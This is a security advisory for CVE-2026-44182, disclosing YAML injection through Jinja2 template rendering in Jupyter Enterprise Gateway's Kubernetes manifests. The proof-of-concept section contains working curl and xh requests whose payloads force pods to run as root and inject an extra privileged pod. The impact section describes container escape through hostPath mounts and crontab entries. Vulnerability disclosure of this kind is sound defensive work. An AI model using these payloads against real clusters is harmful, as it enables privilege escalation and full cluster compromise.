CVE-2026-44182: Jupyter Enterprise Gateway Has Kubernetes Manifest Injection via Jinja2 Template Rendering

Summary

The environment variables used during the rendering of the Kubernetes manifest allow YAML injection, enabling attackers to overwrite existing keys like securityContext and inject multi-document YAML to create additional unintended Kubernetes resources.

Details

The server interpolates untrusted environment variables (e.g., KERNELXXX) into Kubernetes manifests without YAML-aware escaping, enabling YAML injection attacks. Attackers can inject new fields, overwrite critical fields (e.g., duplicate securityContext keys, where the last one prevails), and inject document boundaries (--- for new documents, ... for end-of-document) to generate multiple resources, potentially creating arbitrary kinds like privileged pods.

The Jinja2 template for the Kubernetes manifest contains several kernelxxx variables, such as kernelworkingdir that are used when rendering the manifest and are all vectors for YAML injection. https://github.com/jupyter-server/enterprisegateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/kernel-pod.yaml.j2#L77

These values come from the environment passed in the API call, where they were KERNELXXX before being converted to lowercase.

https://github.com/jupyter-server/enterprisegateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/launchkubernetes.py#L130-L137

PoC

These proof of concepts are injecting in the KERNELWORKINGDIR env var, but any of the env vars could have been used. By default, the KERNELWORKINGDIR will be ignored unless EGMIRRORWORKINGDIRS is truthy for the enterprise-gateway. This is controlled by the mirrorWorkingDirs value in the Helm chart.

Using ducaale/xh:

bash xh http://localhost:31529/api/kernels env:=@env-working-dir-exploit.yaml

env-working-dir-exploit.yaml:

json { "KERNELPODNAME": "working-dir-root", "KERNELNAMESPACE": "notebooks", "KERNELWORKINGDIR": "\"/tmp\\\"\\n\\n# INJECTION\\n securityContext:\\n runAsUser: 0\\n runAsGroup: 0\\n fsGroup: 100\\n# HAHA - stray quote \"" }

Resulting request:

POST /api/kernels HTTP/1.1 Accept: application/json, /;q=0.5 Accept-Encoding: gzip, deflate, br, zstd Connection: keep-alive Content-Length: 233 Content-Type: application/json Host: localhost:31529 User-Agent: xh/0.24.0

{ "env": { "KERNELPODNAME": "working-dir-root", "KERNELNAMESPACE": "notebooks", "KERNELWORKINGDIR": "\"/tmp\\\"\\n\\n# INJECTION\\n securityContext:\\n runAsUser: 0\\n runAsGroup: 0\\n fsGroup: 100\\n# HAHA - stray quote \"" } }

Curl equivalent command:

bash curl http://localhost:31529/api/kernels -H 'content-type: application/json' -H 'accept: application/json, /;q=0.5' -d '{"env":{"KERNELPODNAME":"working-dir-root","KERNELNAMESPACE":"notebooks","KERNELWORKINGDIR":"\"/tmp\\\"\\n\\n# INJECTION\\n securityContext:\\n runAsUser: 0\\n runAsGroup: 0\\n fsGroup: 100\\n# HAHA - stray quote \""}}'

The rendered Jinja2 template:

yaml This file defines the Kubernetes objects necessary for kernels to run witihin Kubernetes. Substitution parameters are processed by the launchkubernetes.py code located in the same directory. Some values are factory values, while others (typically prefixed with 'kernel') can be provided by the client. This file can be customized as needed. No changes are required to launchkubernetes.py provided kernel values are used - which be automatically set from corresponding KERNEL env values. Updates will be required to launchkubernetes.py if new document sections (i.e., new k8s 'kind' objects) are introduced. apiVersion: v1 kind: Pod metadata: name: "working-dir-root" namespace: "notebooks" labels: kernelid: "186f4ecf-bf90-40b8-b210-a0987bfce927" app: enterprise-gateway component: kernel source: kernel-pod.yaml annotations: cluster-autoscaler.kubernetes.io/safe-to-evict: "false" spec: restartPolicy: Never serviceAccountName: "default" NOTE: that using runAsGroup requires that feature-gate RunAsGroup be enabled. WARNING: Only using runAsUser w/o runAsGroup or NOT enabling the RunAsGroup feature-gate will result in the new kernel pod's effective group of 0 (root)! although the user will correspond to the runAsUser value. As a result, BOTH should be uncommented AND the feature-gate should be enabled to ensure expected behavior. In addition, 'fsGroup: 100' is recommended so that /home/jovyan can be written to via the 'users' group (gid: 100) irrespective of the "kerneluid" and "kernelgid" values. securityContext: runAsUser: 1000 runAsGroup: 100 fsGroup: 100 containers: - image: "elyra/kernel-py:3.2.3" name: "working-dir-root" env: Add any custom envs here that aren't already configured for the kernel's environment - name: MYCUSTOMENV value: "mycustomvalue" workingDir: "/tmp"

INJECTION securityContext: runAsUser: 0 runAsGroup: 0 fsGroup: 100 HAHA - stray quote " volumeMounts: Define any "unconditional" mounts here, followed by "conditional" mounts that vary per client volumes: Define any "unconditional" volumes here, followed by "conditional" volumes that vary per client

Normally the container would run as uid=1000(jovyan) gid=100(users) groups=100(users). This injects a pod securityContext with runAsUser: 0 and runAsGroup: 0 (and fsGroup: 100). The processing of the YAML results in the duplicate key clobbering the original. Making the container run as uid=0(root) gid=0(root) groups=0(root),100(users).

In addition to injecting a pod level securityContext it is also possible to inject a container level securityContext which supports the privileged field.

Injecting a Pod

By injecting ... and --- it is possible to use multi-document YAML to inject Kubernetes resources.

bash xh http://localhost:31529/api/kernels env:=@env-working-dir-exploit-pod.yaml

env-working-dir-exploit-pod.yaml:

json { "KERNELPODNAME": "working-dir-root-pod", "KERNELNAMESPACE": "notebooks", "KERNELWORKINGDIR": "\"/tmp\\\"\\n\\n# INJECTION\\n...\\n---\\napiVersion: v1\\nkind: Pod\\nmetadata:\\n name: injected-pod\\n\\\n spec:\\n containers:\\n - name: injected-container\\n image: nginx\\n ports:\\n - containerPort: 80\\n securityContext:\\n privileged: true\\n runAsUser: 0\\n runAsGroup: 0\\n...\\n# HAHA - stray quote\"" }

This is rendered as (skipping the beginning of the rendering before the inject):

yaml workingDir: "/tmp"

INJECTION ... --- apiVersion: v1 kind: Pod metadata: name: injected-pod spec: containers: - name: injected-container image: nginx ports: - containerPort: 80 securityContext: privileged: true runAsUser: 0 runAsGroup: 0 ... HAHA - stray quote" volumeMounts: Define any "unconditional" mounts here, followed by "conditional" mounts that vary per client volumes: Define any "unconditional" volumes here, followed by "conditional" volumes that vary per client

kubectl get pods -n notebooks NAME READY STATUS RESTARTS AGE injected-pod 1/1 Running 0 4s working-dir-root-pod 1/1 Running 0 4s

The injected-pod has been created in addition to the working-dir-root-pod.

kubectl get pod/injected-pod -o yaml -n notebooks -o jsonpath='{.spec.containers[].securityContext}':

json { "privileged": true, "runAsGroup": 0, "runAsUser": 0 }

Impact

An attacker can create pods running with arbitrary, image, securityContext, and volumeMounts including hostPath mounts. Privileged pods can be created.

Arbitrary Kubernetes resources of kinds: Pod, Secret, PersistentVolumeClaim, PersistentVolume, Service, and ConfigMap can be created.

Repeated exploitation can compromise all worker nodes, and thus the entire Kubernetes cluster. Multiple container escape vectors exist. It is possible to create privileged pods which could load kernel modules to compromise the host. It is also possible to specify volume mounts, so another vector for a container escape is to use a hostPath R/W volume mount, use the injected securityContext to run as root, and then gain code execution in the underlying worker node by creating a crontab entry in the mounted host file system.